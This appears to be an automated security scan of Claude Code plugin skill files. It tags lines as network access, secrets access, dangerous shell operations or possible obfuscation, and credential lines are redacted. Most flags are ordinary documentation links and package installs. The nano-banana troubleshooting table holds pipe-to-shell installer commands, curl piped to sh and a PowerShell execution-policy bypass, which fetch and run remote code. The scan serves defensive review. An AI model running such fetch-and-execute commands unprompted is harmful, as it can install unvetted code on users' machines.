[Credential-related source omitted] - Access to secretsline 26
[Credential-related source omitted] - Network accessline 32
| Request | Handle with Latchshot? | Rule | | --- | --- | --- | | Public `http://` or `https://` page screenshot | Yes | Capture one binary artifact. | - Network accessline 33
| --- | --- | --- | | Public `http://` or `https://` page screenshot | Yes | Capture one binary artifact. | | PNG, JPEG, or PDF output | Yes | Infer from `.png`, `.jpg`, `.jpeg`, or `.pdf`, or pass `--format`. | - Network accessline 34
| Public `http://` or `https://` page screenshot | Yes | Capture one binary artifact. | - Access to secretsline 46
[Credential-related source omitted] - Network accessline 49
node scripts/latchshot.mjs demo \ --url 'https://example.com' \ - Network accessline 50
--url 'https://example.com' \ - Network accessline 54
The demo is JPEG-only, does not use an account or render quota, allows three attempts per IP address per hour, and accepts only width, height, query confirmation, and explicit overwrite options. The public URL is still sent to Latchshot wit - Network accessline 67
node scripts/latchshot.mjs capture \ --url 'https://example.com' \ - Network accessline 68
--url 'https://example.com' \ - Network accessline 75
node scripts/latchshot.mjs capture \ --url 'https://example.com' \ - Network accessline 76
--url 'https://example.com' \ - Network accessline 85
node scripts/latchshot.mjs capture \ --url 'https://example.com' \ - Network accessline 86
--url 'https://example.com' \ - Access to secretsline 142
[Credential-related source omitted] - Network accessline 150
- [Latchshot service origin](https://latchshot.fly.dev) - Network accessline 151
- [Agent Skills setup documentation](https://latchshot.fly.dev/integrations.md#agent-skills)
harness/claude-code/plugins/creative-media-tooling/skills/latchshot-page-capture/scripts/latchshot.mjs
- Executable scriptline 1
#!/usr/bin/env node - Network accessline 9
const ORIGIN = 'https://latchshot.fly.dev'; - Access to secretsline 75
[Credential-related source omitted] - Network accessline 106
Examples: node scripts/latchshot.mjs demo --url https://example.com --output demo.jpg - Network accessline 107
node scripts/latchshot.mjs demo --url https://example.com --output demo.jpg - Network accessline 108
node scripts/latchshot.mjs capture --url https://example.com --output page.png - Network accessline 109
node scripts/latchshot.mjs capture --url https://example.com --output page.pdf --paper A4 - Access to secretsline 192
[Credential-related source omitted] - Access to secretsline 194
[Credential-related source omitted]
harness/claude-code/plugins/creative-media-tooling/skills/nano-banana-pro-openrouter/SKILL.md
- Access to secretsline 6
[Credential-related source omitted] - Access to secretsline 8
[Credential-related source omitted] - Access to secretsline 9
[Credential-related source omitted] - Access to secretsline 24
[Credential-related source omitted] - Access to secretsline 30
[Credential-related source omitted] - Network accessline 67
[Credential-related source omitted] - Network accessline 68
[Credential-related source omitted] - Access to secretsline 68
[Credential-related source omitted] - Dangerous shell operationline 69
| `uv: command not found` or not recognized | `uv` is not installed or the terminal has not reloaded PATH. | macOS/Linux: `curl -LsSf https://astral.sh/uv/install.sh | sh`. Windows: `powershell -ExecutionPolicy ByPass -c "irm https://astral - Network accessline 69
| `uv: command not found` or not recognized | `uv` is not installed or the terminal has not reloaded PATH. | macOS/Linux: `curl -LsSf https://astral.sh/uv/install.sh | sh`. Windows: `powershell -ExecutionPolicy ByPass -c "irm https://astral - Network accessline 70
| `AuthenticationError` or HTTP 401 | Key is invalid, revoked, or has no credits. | Verify the key at `https://openrouter.ai/settings/keys`. | - Access to secretsline 92
[Credential-related source omitted] - Network accessline 101
- [uv installer for macOS/Linux](https://astral.sh/uv/install.sh) - Network accessline 102
- [uv installer for Windows](https://astral.sh/uv/install.ps1) - Network accessline 103
- [OpenRouter keys](https://openrouter.ai/settings/keys)
harness/claude-code/plugins/creative-media-tooling/skills/nano-banana-pro-openrouter/scripts/generate_image.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 51
[Credential-related source omitted] - Access to secretsline 52
[Credential-related source omitted] - Access to secretsline 53
[Credential-related source omitted] - Access to secretsline 54
[Credential-related source omitted] - Access to secretsline 55
[Credential-related source omitted] - Possible obfuscationline 83
raw = base64.b64decode(encoded) - Network accessline 135
[Credential-related source omitted] - Access to secretsline 135
[Credential-related source omitted] - Network accessline 157
# https://openrouter.ai/docs/guides/overview/multimodal/image-generation#image-configuration-options
harness/claude-code/plugins/creative-media-tooling/skills/pdftk-server/SKILL.md
harness/claude-code/plugins/creative-media-tooling/skills/pdftk-server/references/download.md
- Dangerous shell operationline 26
sudo apt-get install pdftk - Dangerous shell operationline 32
sudo dnf install pdftk - Network accessline 37
PDFtk Server (pdftk) is not public domain software. It can be installed and used at no charge under its [GNU General Public License (GPL) Version 2](https://www.pdflabs.com/docs/pdftk-license/gnu_general_public_license_2.txt). PDFtk uses th - Network accessline 45
[PDFtk Server Redistribution License (PDF)](https://pdflabs.onfastspring.com/pdftk-server) - Network accessline 49
[PDFtk Server Redistribution License](https://www.pdflabs.com/docs/pdftk-license/) - Network accessline 53
PDFtk Server can be compiled from its source code. PDFtk Server is known to compile and run on [Debian](https://packages.debian.org/search?keywords=pdftk), [Ubuntu Linux](https://packages.ubuntu.com/search?keywords=pdftk), [FreeBSD](https:/ - Network accessline 58
curl -LO https://www.pdflabs.com/tools/pdftk-the-pdf-toolkit/pdftk-2.02-src.zip - Network accessline 62
Review the [pdftk license information](https://www.pdflabs.com/docs/pdftk-license/) in: `license_gpl_pdftk/readme.txt`. - Network accessline 75
PDFtk has been built using gcc/gcj/libgcj versions 3.4.5, 4.4.1, 4.5.0, and 4.6.3. PDFtk 1.4x fails to build on gcc 3.3.5 due to missing libgcj features. If you are using gcc 3.3 or older, try building [pdftk 1.12](https://www.pdflabs.com/t
harness/claude-code/plugins/creative-media-tooling/skills/pdftk-server/references/pdftk-man-page.md
- Network accessline 3
- **`pdftk` version 2.02** - Check [version history](https://www.pdflabs.com/docs/pdftk-version-history/) for changes - Network accessline 4
- Check [version history](https://www.pdflabs.com/docs/pdftk-version-history/) for changes - Network accessline 5
- See [server manual](https://www.pdflabs.com/docs/pdftk-man-page/) for the latest documentation
harness/claude-code/plugins/creative-media-tooling/skills/pdftk-server/references/pdftk-server-license.md
- Network accessline 15
[PDFtk Server Redistribution License (PDF)](https://www.pdflabs.com/docs/pdftk-license/pdf_labs_pdftk_redist_lic_agreement_ver_2.0.pdf) - Network accessline 19
[Buy the PDFtk Server Redistribution License](https://pdflabs.onfastspring.com/pdftk-server) - Network accessline 23
PDFtk Server (pdftk) is not public domain software. It can be used at no charge under its GNU General Public License (GPL) Version 2. [Click here to read the complete text](https://www.pdflabs.com/docs/pdftk-license/gnu_general_public_licen
harness/claude-code/plugins/creative-media-tooling/skills/pdftk-server/references/third-party-materials.md
- Network accessline 13
[Click to read the GNU General Public License Version 2.](https://www.pdflabs.com/docs/pdftk-license/gnu_general_public_license_2.txt) - Network accessline 15
Libgcj is part of GCC, so you can find its source code in the GCC [source code](https://gcc.gnu.org/gcc-4.5/). - Network accessline 25
[Click to read the GNU General Public License Version 3](https://www.pdflabs.com/docs/pdftk-license/gnu_general_public_license_3.0.txt). - Network accessline 27
[Click to read the GCC Runtime Library Exception Version 3.1](https://www.pdflabs.com/docs/pdftk-license/gcc_runtime_library_exception_3.1.txt). - Network accessline 29
Libgcc and libstdc++ are part of GCC, so you can find their source code in the GCC [source code](https://gcc.gnu.org/gcc-4.5/). - Network accessline 43
[Click to read the GNU General Public License Version 2](https://www.pdflabs.com/docs/pdftk-license/gnu_general_public_license_2.txt). - Network accessline 45
Classpath is part of GCC, so you can find its source code in the [GCC source code](https://gcc.gnu.org/gcc-4.5/). - Network accessline 51
Copyright (c) 2000-2008 The Legion Of The Bouncy Castle (http://www.bouncycastle.org) - Network accessline 59
Download the Bouncy Castle source code from: http://www.bouncycastle.org/. - Network accessline 67
[Click to read the GNU Library General Public License Version 2](https://www.pdflabs.com/docs/pdftk-license/gnu_lgpl_license_2.txt). - Network accessline 69
The iText source code used in pdftk is slightly modified from its original version. This modified version is included with the [pdftk source code](https://www.pdflabs.com/tools/pdftk-the-pdf-toolkit/). - Network accessline 79
Download the MinGW runtime source code from: http://mingw.org/. - Network accessline 87
[Click to read the GNU Library General Public License](https://www.pdflabs.com/docs/pdftk-license/gnu_lgpl_license_2.txt). - Network accessline 89
Download the libiconv source code from: https://ftp.gnu.org/pub/gnu/libiconv/ - Network accessline 95
http://www.apache.org/licenses/LICENSE-2.0 - Network accessline 99
[Click to read the Apache License Version 2.0](https://www.pdflabs.com/docs/pdftk-license/apache_license_2.txt). - Network accessline 101
[Click to read the Apache Batik NOTICE file](https://www.pdflabs.com/docs/pdftk-license/apache_batik_NOTICE.txt). - Network accessline 103
Download the Apache Batik source code from: http://xmlgraphics.apache.org/batik/.
harness/claude-code/plugins/creative-media-tooling/skills/resemble-detect/LICENSE
harness/claude-code/plugins/creative-media-tooling/skills/resemble-detect/SKILL.md
- Network accessline 10
metadata: compatibility: >- Requires a Resemble AI API key from https://app.resemble.ai set as RESEMBLE_API_KEY. All media - Network accessline 11
compatibility: >- Requires a Resemble AI API key from https://app.resemble.ai set as RESEMBLE_API_KEY. All media must be accessible through public HTTPS URLs except text detection. - Network accessline 12
[Credential-related source omitted] - Access to secretsline 12
[Credential-related source omitted] - Network accessline 32
[Credential-related source omitted] - Access to secretsline 32
[Credential-related source omitted] - Network accessline 33
- Base docs URL: <https://docs.resemble.ai/welcome>. - Access to secretsline 34
[Credential-related source omitted] - Network accessline 79
{ "url": "https://example.com/suspect.mp4", - Network accessline 80
"url": "https://example.com/suspect.mp4", - Access to secretsline 156
[Credential-related source omitted] - Network accessline 169
[Credential-related source omitted] - Network accessline 212
- [Resemble AI dashboard](https://app.resemble.ai) - Network accessline 213
- [Resemble documentation](https://docs.resemble.ai/welcome)
harness/claude-code/plugins/creative-media-tooling/skills/resemble-detect/references/api-reference.md
- Network accessline 7
- **Base URL**: `https://docs.resemble.ai/welcome` - Access to secretsline 8
[Credential-related source omitted] - Network accessline 19
{ "url": "https://example.com/media.mp4", - Network accessline 20
"url": "https://example.com/media.mp4", - Network accessline 55
"consistency": "0.91", "aggregated_score": "0.92", "image": "https://{example-url}" - Network accessline 56
"aggregated_score": "0.92", "image": "https://{example-url}" } - Network accessline 57
"image": "https://{example-url}" - Network accessline 70
"label": "fake", "score": 0.87, "image": "https://{example-url}", - Network accessline 71
"score": 0.87, "image": "https://{example-url}", "ifl": { "score": 0.82, "heatmap": "https://{example-url}" }, - Network accessline 72
"image": "https://{example-url}", - Network accessline 73
"ifl": { "score": 0.82, "heatmap": "https://{example-url}" }, - Network accessline 105
{ "url": "https://example.com/audio.mp3", "json": true } - Network accessline 175
{ "url": "https://example.com/image.png", - Network accessline 176
"url": "https://example.com/image.png", - Network accessline 195
{ "url": "https://example.com/suspect-image.png" } - Network accessline 217
{ "audio_url": "https://example.com/known-speaker.wav", - Network accessline 218
"audio_url": "https://example.com/known-speaker.wav", - Network accessline 226
{ "audio_url": "https://example.com/unknown-speaker.wav", - Network accessline 227
"audio_url": "https://example.com/unknown-speaker.wav",
harness/claude-code/plugins/creative-media-tooling/skills/rhino3d-scripts/SKILL.md
- Access to secretsline 218
[Credential-related source omitted] - Network accessline 268
- [RhinoScript landing](https://docs.mcneel.com/rhino/8/help/en-us/information/rhinoscripting.htm) - Network accessline 269
- [Developer hub](https://developer.rhino3d.com/) - Network accessline 270
- [RhinoCommon API index](https://mcneel.github.io/rhinocommon-api-docs/api/RhinoCommon/html/R_Project_RhinoCommon.htm) - Network accessline 271
- [Example scripts repo](https://github.com/mcneel/rhino-developer-samples/tree/8/rhinoscript)
harness/claude-code/plugins/creative-media-tooling/skills/rhino3d-scripts/references/macros-and-loading.md
- Access to secretsline 118
[Credential-related source omitted]
harness/claude-code/plugins/creative-media-tooling/skills/slang-shader-engineer/references/language-reference.md
- Network accessline 3
**Source:** [Official Slang Shader Repository](https://github.com/shader-slang/slang "Slang Shader repository") - Network accessline 4
**Official Docs:** [Official Slang Shader Online Documentation](https://shader-slang.com/slang/user-guide/ "Slang Shader Online documentation") - Network accessline 5
**Playground:** [Official Slang Shader Sandbox](https://shader-slang.com/slang-playground)
harness/claude-code/plugins/creative-media-tooling/skills/slang-shader-engineer/references/slang-documentation-full.md
- Network accessline 3
Source: [Official Slang Shader Repository](https://github.com/shader-slang/slang "Slang Shader repository") - Network accessline 1311
git clone https://github.com/shader-slang/slang --recursive - Network accessline 1347
# Install and activate Emscripten git clone https://github.com/emscripten-core/emsdk.git - Network accessline 1348
git clone https://github.com/emscripten-core/emsdk.git - Network accessline 1479
Source: [Slang Shader repository docs](https://github.com/shader-slang/slang/tree/master/docs)
harness/claude-code/plugins/creative-media-tooling/skills/transloadit-media-processing/SKILL.md
- Network accessline 9
metadata: compatibility: >- Requires a free Transloadit account (https://transloadit.com/signup). Uses the - Network accessline 10
compatibility: >- Requires a free Transloadit account (https://transloadit.com/signup). Uses the @transloadit/mcp-server MCP server or the @transloadit/node CLI. - Network accessline 11
Requires a free Transloadit account (https://transloadit.com/signup). Uses the - Network accessline 62
Get your API credentials at https://transloadit.com/c/-/api-credentials - Network accessline 120
"robot": "/image/resize", "use": "resized", "watermark_url": "https://example.com/logo.png", - Network accessline 121
"use": "resized", "watermark_url": "https://example.com/logo.png", "watermark_position": "bottom-right", - Network accessline 122
"watermark_url": "https://example.com/logo.png", - Network accessline 150
"imported": { "robot": "/http/import", "url": ["https://example.com/clip1.mp3", "https://example.com/clip2.mp3"] - Network accessline 151
"robot": "/http/import", "url": ["https://example.com/clip1.mp3", "https://example.com/clip2.mp3"] }, - Network accessline 152
"url": ["https://example.com/clip1.mp3", "https://example.com/clip2.mp3"] - Network accessline 191
- **Assembly**: A single processing job. Created via `create_assembly` (MCP) or `assemblies create` (CLI). - **Template**: A reusable set of steps stored on Transloadit. Created via `create_template` (MCP) or `templates create` (CLI). - **R - Network accessline 192
- **Template**: A reusable set of steps stored on Transloadit. Created via `create_template` (MCP) or `templates create` (CLI). - **Robot**: A processing unit (e.g., `/video/encode`, `/image/resize`). See full list at https://transloadit.co - Network accessline 193
- **Robot**: A processing unit (e.g., `/video/encode`, `/image/resize`). See full list at https://transloadit.com/docs/transcoding/
harness/claude-code/plugins/csharp-dotnet-development/.claude-plugin/plugin.json
harness/claude-code/plugins/csharp-dotnet-development/skills/csharp-mstest/SKILL.md
- Network accessline 81
| Conditional execution | MSTest 3.10+ supports `[OSCondition(OperatingSystems.Windows)]`, Linux/MacOS combinations, `ConditionMode.Exclude`, `[CICondition]`, and `[CICondition(ConditionMode.Exclude)]`. | | Parallelization | At assembly lev - Network accessline 83
| Work items | Use `[WorkItem(12345)]` for Azure DevOps and `[GitHubWorkItem("https://github.com/owner/repo/issues/42")]` for GitHub issues; associations flow into test results for CI/CD traceability. | - Network accessline 128
- [MSTest TestContext documentation](https://learn.microsoft.com/dotnet/core/testing/unit-testing-mstest-writing-tests-testcontext) - Network accessline 129
- [Example GitHub work item URL](https://github.com/owner/repo/issues/42)
harness/claude-code/plugins/csharp-dotnet-development/skills/dotnet-upgrade/SKILL.md
- Network accessline 28
- Prefer incremental upgrades with rollback checkpoints over broad unreviewable rewrites. - Verify Microsoft's support policy and the installed upgrade workflow before selecting tools or targets. - The [Upgrade Assistant overview](https://l - Network accessline 29
- Verify Microsoft's support policy and the installed upgrade workflow before selecting tools or targets. - The [Upgrade Assistant overview](https://learn.microsoft.com/en-us/dotnet/core/porting/upgrade-assistant-overview), verified 2026-09 - Network accessline 30
- The [Upgrade Assistant overview](https://learn.microsoft.com/en-us/dotnet/core/porting/upgrade-assistant-overview), verified 2026-09-15, marks .NET Upgrade Assistant deprecated. Prefer the documented [GitHub Copilot upgrade workflow](http - Network accessline 31
- The [.NET support policy](https://dotnet.microsoft.com/en-us/platform/support/policy/dotnet-core), verified 2026-09-15, lists .NET 10 as active LTS. Recheck at execution time; a preview or the highest installed SDK is not automatically th
harness/claude-code/plugins/data-engineering/.claude-plugin/plugin.json
- Network accessline 6
"name": "paulasilvatech" }, "repository": "https://github.com/paulasilvatech/copilot-primitives", - Network accessline 7
}, "repository": "https://github.com/paulasilvatech/copilot-primitives", "license": "MIT", - Network accessline 8
"repository": "https://github.com/paulasilvatech/copilot-primitives",
harness/claude-code/plugins/data-engineering/skills/datanalysis-credit-risk/references/analysis.py
- Executable scriptline 1
Executable file
harness/claude-code/plugins/data-engineering/skills/datanalysis-credit-risk/references/func.py
- Executable scriptline 1
Executable file
harness/claude-code/plugins/data-engineering/skills/datanalysis-credit-risk/scripts/example.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/plugins/data-engineering/skills/pinecone-rag/SKILL.md
harness/claude-code/plugins/data-engineering/skills/snowflake-semanticview/SKILL.md
- Network accessline 135
- [Snowflake CLI installation](https://docs.snowflake.com/en/developer-guide/snowflake-cli/installation/installation) - Network accessline 136
- [Configure Snowflake CLI connections](https://docs.snowflake.com/en/developer-guide/snowflake-cli/connecting/configure-connections#add-a-connection) - Network accessline 137
- [CREATE SEMANTIC VIEW](https://docs.snowflake.com/en/sql-reference/sql/create-semantic-view) - Network accessline 138
- [COMMENT command](https://docs.snowflake.com/en/sql-reference/sql/comment) - Network accessline 139
- [Querying a semantic view](https://docs.snowflake.com/en/user-guide/views-semantic/querying#querying-a-semantic-view)
harness/claude-code/plugins/data-engineering/skills/sql-server-table-reconciliation/SKILL.md
- Access to secretsline 91
[Credential-related source omitted]
harness/claude-code/plugins/data-engineering/skills/sql-server-table-reconciliation/scripts/reconcile.py
harness/claude-code/plugins/database-data-management/.claude-plugin/plugin.json
harness/claude-code/plugins/dataverse-sdk-for-python/.claude-plugin/plugin.json
harness/claude-code/plugins/dataverse-sdk-for-python/skills/dataverse-python-usecase-builder/SKILL.md
- Access to secretsline 121
[Credential-related source omitted]
harness/claude-code/plugins/devops-oncall/.claude-plugin/plugin.json
harness/claude-code/plugins/diagram-authoring/.claude-plugin/plugin.json
- Network accessline 6
"name": "paulasilvatech" }, "repository": "https://github.com/paulasilvatech/copilot-primitives", - Network accessline 7
}, "repository": "https://github.com/paulasilvatech/copilot-primitives", "license": "MIT", - Network accessline 8
"repository": "https://github.com/paulasilvatech/copilot-primitives",
harness/claude-code/plugins/diagram-authoring/skills/draw-io-diagram-generator/SKILL.md
- Network accessline 460
- [Draw.io VS Code extension](https://marketplace.visualstudio.com/items?itemName=hediet.vscode-drawio)
harness/claude-code/plugins/diagram-authoring/skills/draw-io-diagram-generator/scripts/.gitignore
- Executable scriptline 1
Executable file
harness/claude-code/plugins/diagram-authoring/skills/draw-io-diagram-generator/scripts/add-shape.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/plugins/diagram-authoring/skills/draw-io-diagram-generator/scripts/validate-drawio.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/plugins/diagram-authoring/skills/excalidraw-diagram-generator/SKILL.md
- Network accessline 27
- Require a clear description of what should be visualized, including key entities, steps, concepts, relationships, and flow. - If the request has too many elements, propose multiple diagrams before generating a crowded file. - Save output - Network accessline 29
- Save output as `<descriptive-name>.excalidraw`; users can open it at https://excalidraw.com by drag-and-drop, File → Open, or the Excalidraw VS Code extension. - Network accessline 47
Generate complete JSON with `type: "excalidraw"`, `version: 2`, `source: "https://excalidraw.com"`, an `elements` array, `appState.viewBackgroundColor: "#ffffff"`, `appState.gridSize: 20`, and `files: {}`. - Network accessline 51
"type": "excalidraw", "version": 2, "source": "https://excalidraw.com", - Network accessline 52
"version": 2, "source": "https://excalidraw.com", "elements": [], - Network accessline 53
"source": "https://excalidraw.com", - Network accessline 188
### To view 1. Visit https://excalidraw.com - Network accessline 189
1. Visit https://excalidraw.com - Network accessline 206
- [Excalidraw](https://excalidraw.com)
harness/claude-code/plugins/diagram-authoring/skills/excalidraw-diagram-generator/references/excalidraw-schema.md
- Network accessline 9
type: "excalidraw"; version: number; // Always 2 source: string; // "https://excalidraw.com" - Network accessline 10
version: number; // Always 2 source: string; // "https://excalidraw.com" elements: ExcalidrawElement[]; - Network accessline 11
source: string; // "https://excalidraw.com" - Network accessline 306
"type": "excalidraw", "version": 2, "source": "https://excalidraw.com", - Network accessline 307
"version": 2, "source": "https://excalidraw.com", "elements": [ - Network accessline 308
"source": "https://excalidraw.com",
harness/claude-code/plugins/diagram-authoring/skills/excalidraw-diagram-generator/references/icon-libraries.md
- Network accessline 20
1. Visit https://libraries.excalidraw.com/ 2. Search for "[AWS Architecture Icons/etc.]" and download the .excalidrawlib file - Network accessline 41
**Step 2: Download Library ** - Visit: https://libraries.excalidraw.com/ - Network accessline 42
- Visit: https://libraries.excalidraw.com/ - Search for your desired icon set (e.g., "AWS Architecture Icons") - Click download to get the `.excalidrawlib` file - Network accessline 271
- This workflow works with any valid `.excalidrawlib` file you provide. - Examples of library categories you may find on https://libraries.excalidraw.com/: - Network accessline 272
- Examples of library categories you may find on https://libraries.excalidraw.com/:
harness/claude-code/plugins/diagram-authoring/skills/excalidraw-diagram-generator/scripts/.gitignore
- Executable scriptline 1
Executable file
harness/claude-code/plugins/diagram-authoring/skills/excalidraw-diagram-generator/scripts/README.md
- Network accessline 27
2. **Download and place library file**: - Visit: https://libraries.excalidraw.com/ - Network accessline 28
- Visit: https://libraries.excalidraw.com/ - Search for "AWS Architecture Icons" and download the `.excalidrawlib` file - Rename it to match the directory name: `aws-architecture-icons.excalidrawlib` - Network accessline 70
1. Download desired Excalidraw libraries from https://libraries.excalidraw.com/ - Network accessline 77
- Examples found on https://libraries.excalidraw.com/ may include cloud/service icon sets.
harness/claude-code/plugins/diagram-authoring/skills/excalidraw-diagram-generator/scripts/add-arrow.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/plugins/diagram-authoring/skills/excalidraw-diagram-generator/scripts/add-icon-to-diagram.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/plugins/diagram-authoring/skills/excalidraw-diagram-generator/scripts/split-excalidraw-library.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/plugins/diagram-authoring/skills/excalidraw-diagram-generator/templates/business-flow-swimlane-template.excalidraw
harness/claude-code/plugins/diagram-authoring/skills/excalidraw-diagram-generator/templates/class-diagram-template.excalidraw
- Network accessline 2
"type": "excalidraw", "version": 2, "source": "https://marketplace.visualstudio.com/items?itemName=pomdtr.excalidraw-editor", - Network accessline 3
"version": 2, "source": "https://marketplace.visualstudio.com/items?itemName=pomdtr.excalidraw-editor", "elements": [ - Network accessline 4
"source": "https://marketplace.visualstudio.com/items?itemName=pomdtr.excalidraw-editor",
harness/claude-code/plugins/diagram-authoring/skills/excalidraw-diagram-generator/templates/data-flow-diagram-template.excalidraw
harness/claude-code/plugins/diagram-authoring/skills/excalidraw-diagram-generator/templates/er-diagram-template.excalidraw
harness/claude-code/plugins/diagram-authoring/skills/excalidraw-diagram-generator/templates/flowchart-template.excalidraw
harness/claude-code/plugins/diagram-authoring/skills/excalidraw-diagram-generator/templates/mindmap-template.excalidraw
- Network accessline 2
"type": "excalidraw", "version": 2, "source": "https://marketplace.visualstudio.com/items?itemName=pomdtr.excalidraw-editor", - Network accessline 3
"version": 2, "source": "https://marketplace.visualstudio.com/items?itemName=pomdtr.excalidraw-editor", "elements": [ - Network accessline 4
"source": "https://marketplace.visualstudio.com/items?itemName=pomdtr.excalidraw-editor",
harness/claude-code/plugins/diagram-authoring/skills/excalidraw-diagram-generator/templates/relationship-template.excalidraw
harness/claude-code/plugins/diagram-authoring/skills/excalidraw-diagram-generator/templates/sequence-diagram-template.excalidraw
harness/claude-code/plugins/diagram-authoring/skills/plantuml-ascii/SKILL.md
- Broad permissionsline 1
Bash, Write, Read - Dangerous shell operationline 47
sudo apt-get install plantuml # Ubuntu/Debian - Dangerous shell operationline 48
sudo yum install plantuml # RHEL/CentOS - Network accessline 50
# Or download JAR directly wget https://github.com/plantuml/plantuml/releases/download/v1.2024.0/plantuml-1.2024.0.jar - Network accessline 51
wget https://github.com/plantuml/plantuml/releases/download/v1.2024.0/plantuml-1.2024.0.jar - Dangerous shell operationline 355
- [ ] Installation blockers name the missing command and offer `brew install plantuml`, `sudo apt-get install plantuml`, `sudo yum install plantuml`, or `java -jar plantuml.jar`. - Network accessline 359
- [PlantUML release JAR example](https://github.com/plantuml/plantuml/releases/download/v1.2024.0/plantuml-1.2024.0.jar)
harness/claude-code/plugins/diagram-viewer/.claude-plugin/plugin.json
harness/claude-code/plugins/dotnet-desktop-development/.claude-plugin/plugin.json
- Network accessline 6
"name": "paulasilvatech" }, "repository": "https://github.com/paulasilvatech/copilot-primitives", - Network accessline 7
}, "repository": "https://github.com/paulasilvatech/copilot-primitives", "license": "MIT", - Network accessline 8
"repository": "https://github.com/paulasilvatech/copilot-primitives",
harness/claude-code/plugins/dotnet-desktop-development/skills/msstore-cli/SKILL.md
- Network accessline 43
Use the Microsoft Store package at `https://www.microsoft.com/store/apps/9P53PC5S0PHJ` or manual releases at `https://aka.ms/msstoredevcli/releases` when WinGet is not appropriate. - Network accessline 47
1. Go to `https://learn.microsoft.com/en-us/partner-center/` and open Partner Center. - Access to secretsline 60
[Credential-related source omitted] - Access to secretsline 69
[Credential-related source omitted] - Access to secretsline 137
[Credential-related source omitted] - Network accessline 145
- [Microsoft Store Developer CLI Documentation](https://learn.microsoft.com/windows/apps/publish/msstore-dev-cli/overview) - Network accessline 146
- [CLI Commands Reference](https://learn.microsoft.com/windows/apps/publish/msstore-dev-cli/commands) - Network accessline 147
- [GitHub Repository](https://github.com/microsoft/msstore-cli) - Network accessline 148
- [Partner Center API](https://learn.microsoft.com/windows/uwp/monetize/using-windows-store-services) - Network accessline 149
- [App Submission API](https://learn.microsoft.com/windows/uwp/monetize/create-and-manage-submissions-using-windows-store-services) - Network accessline 150
- [Package Flights Overview](https://learn.microsoft.com/windows/uwp/publish/package-flights) - Network accessline 151
- [Gradual Package Rollout](https://learn.microsoft.com/windows/uwp/publish/gradual-package-rollout) - Network accessline 152
- [Partner Center](https://learn.microsoft.com/en-us/partner-center/) - Network accessline 153
- [Microsoft Store package](https://www.microsoft.com/store/apps/9P53PC5S0PHJ) - Network accessline 154
- [Manual releases](https://aka.ms/msstoredevcli/releases)
harness/claude-code/plugins/dotnet-desktop-development/skills/msstore-cli/references/commands-and-workflows.md
- Access to secretsline 46
[Credential-related source omitted] - Network accessline 232
# Initialize PWA msstore init https://contoso.com --output ./pwa-package - Network accessline 233
msstore init https://contoso.com --output ./pwa-package - Access to secretsline 401
[Credential-related source omitted] - Access to secretsline 498
[Credential-related source omitted]
harness/claude-code/plugins/dotnet-desktop-development/skills/mvvm-toolkit-di/SKILL.md
- Network accessline 246
- [Dependency injection in .NET](https://learn.microsoft.com/en-us/dotnet/core/extensions/dependency-injection) - Network accessline 247
- [Dependency injection usage](https://learn.microsoft.com/en-us/dotnet/core/extensions/dependency-injection-usage) - Network accessline 248
- [MVVM Toolkit Ioc](https://learn.microsoft.com/en-us/dotnet/communitytoolkit/mvvm/ioc) - Network accessline 249
- [Generic Host](https://learn.microsoft.com/en-us/dotnet/core/extensions/generic-host) - Network accessline 250
- [Use the .NET Generic Host in a WPF app](https://learn.microsoft.com/en-us/dotnet/desktop/wpf/app-development/how-to-use-host-builder)
harness/claude-code/plugins/dotnet-desktop-development/skills/mvvm-toolkit-di/references/dependency-injection.md
- Network accessline 52
> On WPF and Windows Forms, integrate the host lifetime with the > application lifetime — see > [Use the .NET Generic Host in a WPF app](https://learn.microsoft.com/en-us/dotnet/desktop/wpf/app-development/how-to-use-host-builder). - Network accessline 54
> [Use the .NET Generic Host in a WPF app](https://learn.microsoft.com/en-us/dotnet/desktop/wpf/app-development/how-to-use-host-builder).
harness/claude-code/plugins/dotnet-desktop-development/skills/mvvm-toolkit-messenger/SKILL.md
- Network accessline 308
- Messenger docs: <https://learn.microsoft.com/en-us/dotnet/communitytoolkit/mvvm/messenger> - Network accessline 309
- `WeakReferenceMessenger` API: <https://learn.microsoft.com/en-us/dotnet/api/communitytoolkit.mvvm.messaging.weakreferencemessenger> - Network accessline 310
- Source: <https://github.com/CommunityToolkit/dotnet>
harness/claude-code/plugins/dotnet-desktop-development/skills/mvvm-toolkit/SKILL.md
- Network accessline 283
- Toolkit overview: https://learn.microsoft.com/en-us/dotnet/communitytoolkit/mvvm/ - Network accessline 284
- WinUI MVVM Toolkit tutorial: https://learn.microsoft.com/en-us/windows/apps/tutorials/winui-mvvm-toolkit/intro - Network accessline 285
- Source: https://github.com/CommunityToolkit/dotnet - Network accessline 286
- Samples: https://github.com/CommunityToolkit/MVVM-Samples
harness/claude-code/plugins/dotnet-desktop-development/skills/mvvm-toolkit/references/end-to-end-walkthrough.md
harness/claude-code/plugins/dotnet-desktop-development/skills/mvvm-toolkit/references/troubleshooting.md
- Network accessline 20
Search the full table at: <https://learn.microsoft.com/en-us/dotnet/communitytoolkit/mvvm/generators/errors/> - Network accessline 21
<https://learn.microsoft.com/en-us/dotnet/communitytoolkit/mvvm/generators/errors/> - Network accessline 208
- All `MVVMTK0xxx` errors: <https://learn.microsoft.com/en-us/dotnet/communitytoolkit/mvvm/generators/errors/> - Network accessline 209
<https://learn.microsoft.com/en-us/dotnet/communitytoolkit/mvvm/generators/errors/> - Network accessline 210
- Source: <https://github.com/CommunityToolkit/dotnet> - Network accessline 211
- Sample app: <https://aka.ms/mvvmtoolkit/samples>
harness/claude-code/plugins/dotnet-desktop-development/skills/winmd-api-search/SKILL.md
- Network accessline 33
- **.NET SDK 8.0 or later** — required to build the cache generator. Install from [dotnet.microsoft.com](https://dotnet.microsoft.com/download) if not available. - Network accessline 118
| Namespace prefix | Documentation base URL | |-----------------|----------------------| | `Windows.*` | `https://learn.microsoft.com/uwp/api/{fully.qualified.typename}` | - Network accessline 119
|-----------------|----------------------| | `Windows.*` | `https://learn.microsoft.com/uwp/api/{fully.qualified.typename}` | | `Microsoft.*` (WinAppSDK) | `https://learn.microsoft.com/windows/windows-app-sdk/api/winrt/{fully.qualified.type - Network accessline 120
